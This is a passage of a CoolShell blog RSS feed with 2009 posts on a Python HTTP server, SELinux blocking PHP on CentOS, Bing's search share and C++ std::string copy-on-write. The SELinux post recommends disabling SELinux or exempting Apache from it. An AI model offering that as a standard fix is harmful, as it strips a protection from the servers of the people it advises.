href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" alt=\"HTTP的前世今生\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_title\">HTTP的前世今生</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1480.html\">非常简单的Python HTTP服务</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1480.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>CentOS上php的问题及Selinux安全设置</title>\n\t\t<link>https://coolshell.cn/articles/1462.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1462.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[free.wang]]></dc:creator>\n\t\t<pubDate>Sat, 26 Sep 2009 01:00:54 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[CentOS]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[SELinux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1462</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>最近有位站长在用我们WebIM客户端的时候，无法登录我们的WebIM服务器，十分惊讶。 在我们的用户里尚属首例，其实更惊讶的是我的CentOS也遇到了同样的问题...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1462.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1462.html\">CentOS上php的问题及Selinux安全设置</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>最近有位站长在用我们WebIM客户端的时候，无法登录我们的WebIM服务器，十分惊讶。 在我们的用户里尚属首例，其实更惊讶的是我的CentOS也遇到了同样的问题。然后分析了这位站长的HttpResponse , Shamee :( 一样的OS.</p>\n<p>搜了一下，发现的解决方法都是在代码上。 我想可能关键词有错误，因为我坚信我的问题肯定不在代码上，应该是来自OS本身的限制。于是重新debug了一下代码，报错 permission (13) connection。然后直接在洋人的邮件列表里搜了一下。</p>\n<p>问题确定了 是SeLinux(<span style=\"color: #ff6600\"><em>http://zh.wikipedia.org/wiki/SELinux</em></span>)安全策略的限制。</p>\n<p><span id=\"more-1462\"></span></p>\n<p>这下问题明了了,执行 <span style=\"color: #ff0000\">/usr/sbin/setenforce 0</span>就能迅速关闭SELINUX，或者<span style=\"color: #ff0000\">vi /etc/selinux/config</span> 把<span style=\"color: #ff0000\">enforcing</span>改成<span style=\"color: #ff0000\">permissive </span>然后<span style=\"color: #ff0000\">reboot</span>.</p>\n<p>但是我想了一下，就算安全级别为B1的Linux被攻击的可能小，但是总会有面对这种问题的时候，况且这种解决访问本身并不优雅。</p>\n<p>于是想了下 把Apache脱离SeLinux是一个最恰当的办法，于是执行</p>\n<p><code data-enlighter-language=\"bash\" class=\"EnlighterJSRAW\">sudo  setsebool -P httpd_disable_trans 1 &amp;&amp; sudo   /etc/init.d/httpd restart</code></p>\n<p>这样就能保证在SeLinux的光环下,Web服务器行为不受控制。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1462.html\">CentOS上php的问题及Selinux安全设置</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1462.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>微软在从Google赢取搜索引擎市场份额</title>\n\t\t<link>https://coolshell.cn/articles/1457.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1457.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Tue, 22 Sep 2009 15:01:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Microsoft]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1457</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>7月到8月，微软市场份额从8.9%到了9.3%;  Google掉了1.7% Bing显然让Google有些紧张，不仅Bing在界面上赢得了一部分消费者的好评，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1457.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1457.html\">微软在从Google赢取搜索引擎市场份额</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>7月到8月，微软市场份额从8.9%到了9.3%;  Google掉了1.7%</p>\n<p>Bing显然让Google有些紧张，不仅Bing在界面上赢得了一部分消费者的好评，而且其在某些垂直领域的深度整合使得Bing的盈利能力具有了相当竞争力。相信Google在幕后紧锣密鼓的测试新界面和新搜索功能的同时，也在严阵以待地部署销售团队（如果经济萧条好转，旅游和健康将会是最先复苏的领域，也是Bing目前占有优势的战场）</p>\n<p>拭目以待吧！</p>\n<p>原文地址：<a style=\"color: #3333cc;\" href=\"http://news.bbc.co.uk/2/hi/technology/8268356.stm\" target=\"_blank\">http://news.bbc.co.uk/2/hi/technology/8268356.stm</a><br />\n<span id=\"more-1457\"></span></p>\n<h1 style=\"margin-top: 5px; margin-right: 0px; margin-bottom: 15px; margin-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 2.4em; font-weight: bolder; padding: 0px;\">Microsoft increases search share</h1>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\"><strong>Microsoft&#8217;s Bing search engine is making inroads into Google&#8217;s dominance of the search market according to data from US net measurement firm ComScore.</strong></p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\"><span style=\"color: #ff0000;\">Its latest figures show Microsoft&#8217;s share of the search market has grown from 8.9% in July to 9.3% in August.</span></p>\n<p>The news saw Microsoft&#8217;s shares rise while Google&#8217;s dipped slightly.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\">Microsoft&#8217;s modest 9.3% share of the US search market is small but is a significant increase for a new entrant, say analysts.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\">The Bing search engine was launched by Microsoft in June 2009 and was followed in July by a search tie-up with rival Yahoo.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\">Google is still far and away the search leader, with 65% of the US market.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\"><strong>Tiny ripple</strong></p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\">Microsoft&#8217;s modest 9.3% share of the US search market is small but is a significant increase for a new entrant say analysts.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\">The fact Google is losing any market share to Microsoft could indicate that it is no longer the immediate choice for everyone, thinks search expert John Batelle.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\">&#8220;I think the service is starting to gain footholds with users who see it as a regular alternative to Google,&#8221; he wrote in his blog.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\">He is a fan of Bing&#8217;s newly-released visual search interface.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\">&#8220;I think it augurs some serious new &#8211; and useful &#8211; approaches to sifting through massive amounts of related data,&#8221; he said.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\">In the UK, Bing has also made small inroads into Google&#8217;s market share.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\"><span style=\"color: #ff0000;\">In August the number of searches on Bing increased by 5%, while Google searches were down 1.7%, according to UK online measurement firm Nielsen.</span></p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\">&#8220;It is a very tiny ripple but reflects that Microsoft has done a lot of marketing around it and that people are curious about anything new that is launched,&#8221; said Alex Burmaster, communications director at Nielsen.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\">Google is already working on an update to its current search engine.</p>\n<p style=\"padding-top: 0px; padding-right: 0px; padding-bottom: 10px; padding-left: 0px; outline-width: 0px; outline-style: initial; outline-color: initial; font-size: 13px; margin: 0px;\">Nicknamed &#8220;Caffeine&#8221; the new version is still in the testing phase and will replace the current engine once tests are complete.</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1457.html\">微软在从Google赢取搜索引擎市场份额</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1457.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C++的std::string的“读时也拷贝”技术！</title>\n\t\t<link>https://coolshell.cn/articles/1443.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1443.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Sat, 19 Sep 2009 13:19:33 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1443</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>C++的std::string的读时也拷贝技术！ 嘿嘿，你没有看错，我也没有写错，是读时也拷贝技术。什么?我的错，你之前听说写过时才拷贝，嗯，不错的确有这门技术...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1443.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1443.html\">C++的std::string的“读时也拷贝”技术！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>C++的std::string的读时也拷贝技术！</p>\n<p>嘿嘿，你没有看错，我也没有写错，是读时也拷贝技术。什么?我的错，你之前听说写过时才拷贝，嗯，不错的确有这门技术，英文是Copy On Write，简写就是COW,非常&#8217;牛&#8217;！那么我们就来看看这个&#8217;牛&#8217;技术的效果吧。</p>\n<p>我们先编写一段程序<br />\n<span id=\"more-1443\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;string&gt;\n#include &lt;iostream&gt;\n#include &lt;sys/time.h&gt;\n\nstatic long getcurrenttick()\n{\n    long tick ;\n    struct timeval time_val;\n    gettimeofday(&amp;time_val , NULL);\n    tick = time_val.tv_sec * 1000 + time_val.tv_usec / 1000 ;\n    return tick;\n}\n\n\nint main( )\n{\n    string the_base(1024 * 1024 * 10, &#039;x&#039;);\n    long begin =  getcurrenttick();\n    for( int i = 0 ;i&lt; 100 ;++i ) {\n       string the_copy = the_base ;\n    }\n    fprintf(stdout,&quot;耗时[%d] \\n&quot;,getcurrenttick() - begin );\n}\n</pre>\n<p>嗯，一个非常大的字符串，有10M字节的x，并且执行了100此拷贝。编译执行它，非常快，在我的虚拟机甚至不要1个毫秒。</p>\n<p>现在我们来对这个string加点料！</p>\n<pre class=\"brush:c; highlight:6\">\nint main(void) {\n    string the_base(1024 * 1024 * 10, 'x');\n    long begin =  getcurrenttick();\n    for (int i = 0; i < 100; i++) {\n        string the_copy = the_base;\n        the_copy[0] = 'y';\n    }\n    fprintf(stdout,\"耗时[%d] \\n\",getcurrenttick() - begin );\n}\n</pre>\n<p>现在我们再编译并执行这断程序，居然需要4~5秒！哇！非常美妙的写时才拷贝技术，性能和功能的完美统一。</p>\n<p>我们再来看看另外一种情况！</p>\n<pre class=\"brush:c\">\nstring original = \"hello\";\nchar & ref = original[0];\nstring clone = original;\nref = 'y';\n</pre>\n<p>我们生成了一个string，并保留了它首字符的引用，然后复制这个string，修改string中的首字符。因为写操作只是直接的修改了内存中的指定位置，这个string就根本不能感知到有写发生，如果写时才拷贝是不成熟的，那么我们将同时会修改original和clone两个string。那岂不是灾难性的结果？幸好上述问题不会发生。clone的值肯定是没有被修改的。看来COW就是非常的牛！</p>\n<p>以上都证明了我们的COW技术非常牛！</p>\n<p>有太阳就有黑暗，这句说是不是有点耳熟？</p>\n<pre class=\"brush:c; highlight:3\">\nint main(void) {\n    string the_base(1024 * 1024 * 10, 'x');\n    fprintf(stdout,\"the_base's first char is [%c]\\n\",the_base[0] );\n    long begin =  getcurrenttick();\n    for (int i = 0; i < 100; i++) {\n        string the_copy = the_base;\n    }\n    fprintf(stdout,\"耗时[%d] \\n\",getcurrenttick() - begin );\n}\n</pre>\n<p>啊，居然也是4~5秒！你可能在想，我只是做了一个读，没有写嘛，这到底是怎么回事？难道还有读时也拷贝的技术！。</p>\n<p>不错，为了避免了你通过[]操作符获取string内部指针而直接修改字符串的内容，在你使用了the_base[0]后，这个字符串的写时才拷贝技术就失效了。</p>\n<p>C++标准的确就是这样的，C++标准认为，当你通过迭代器或[]获取到string的内部地址的时候，string并不知道你将是要读还是要写。这是它无法确定，为此，当你获取到内部引用后，为了避免不能捕获你的写操作，它在此时废止了写时才拷贝技术！</p>\n<p>这样看来我们在使用COW的时候，一定要注意，如果你不需要对string的内部进行修改，那你就千万不要使用通过[]操作符和迭代器去获取字符串的内部地址引用，如果你一定要这么做，那么你就必须要付出代价。当然，string还提供了一些使迭代器和引用失效的方法。比如说push_back，等， 你在使用[]之后再使用迭代器之后，引用就有可能失效了。那么你又回到了COW的世界！比如下面的一个例子</p>\n<pre class=\"brush:c; highlight:7\">\nint main( )\n{\n    struct timeval time_val;\n    string the_base(1024 * 1024 * 10, 'x');\n    long begin = 0 ;\n    fprintf(stdout,\"the_base's first char is [%c]\\n\",the_base[0] );\n    the_base.push_back('y');\n    begin = getcurrenttick();\n    for( int i = 0 ;i< 100 ;++i ) {\n        string the_copy = the_base ;\n    }\n    fprintf(stdout,\"耗时[%d] \\n\",getcurrenttick() - begin );\n}\n</pre>\n<p>一切又恢复了正常！如果对[]返回引用进行了操作又会发生情况呢，有兴趣的朋友可以试试！结果非常令人惊讶。</p>\n<p>另外：上述例子是在linux环境下编译的，使用STL是GNU的STL。windows上我用的是vs2003，但是非常明显vs2003一点都不支持COW。</p>\n<p>这篇文章出自<a href=\"http://ridiculousfish.com/blog/archives/2009/09/17/i-didnt-order-that-so-why-is-it-on-my-bill-episode-2/\" target=_blank>http://ridiculousfish.com/blog/archives/2009/09/17/i-didnt-order-that-so-why-is-it-on-my-bill-episode-2/</a> 这里，我使用了它的例子。但是我重新自己组织了内容。</p>\n<p>编写这篇文章的同时，我还参考了耗子的<a href=\"http://blog.csdn.net/haoel/archive/2004/06/23/24058.aspx\">《标准C＋＋类string的Copy-On-Write技术》</a>一文<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 - CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1443.html\">C++的std::string的“读时也拷贝”技术！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1443.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>10</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>WebTTY！太酷了！</title>\n\t\t<link>https://coolshell.cn/articles/1441.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1441.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 19 Sep 2009 02:56:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[WebTTY]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1441</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这真是一件很Cool的事，在Web上操作Linux，请访问下面这个链接： http://19.testape.com/webtty_page.php 于是你会看...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1441.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a 